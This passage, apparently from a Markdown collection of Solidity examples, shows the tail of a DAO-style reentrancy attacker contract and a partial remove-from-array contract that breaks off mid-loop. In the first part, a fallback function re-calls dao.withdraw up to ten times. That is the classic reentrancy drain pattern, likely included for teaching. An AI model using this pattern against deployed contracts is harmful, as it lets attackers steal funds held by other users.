| } 473 | 474 | function() { 475 | if(stack++ < 10) { 476 | dao.withdraw(amount); 477 | } 478 | } 479 | } 480 | ``` 481 | 482 | ### remove-from-array.sol 483 | ```js 484 | contract Contract { 485 | uint[] public values; 486 | 487 | function Contract() { 488 | } 489 | 490 | function find(uint value) returns(uint) { 491 | uint i = 0; 492 | while (values[i] != value) { 493 | i++; 494 | } 495 | return i; 496 | } 497 | 498 | function removeByValue(uint value) { 499 | uint i = find(value); 500 | removeByIndex(i); 501 | } 502 | 503 | function removeByIndex(uint i) { 504 | while (i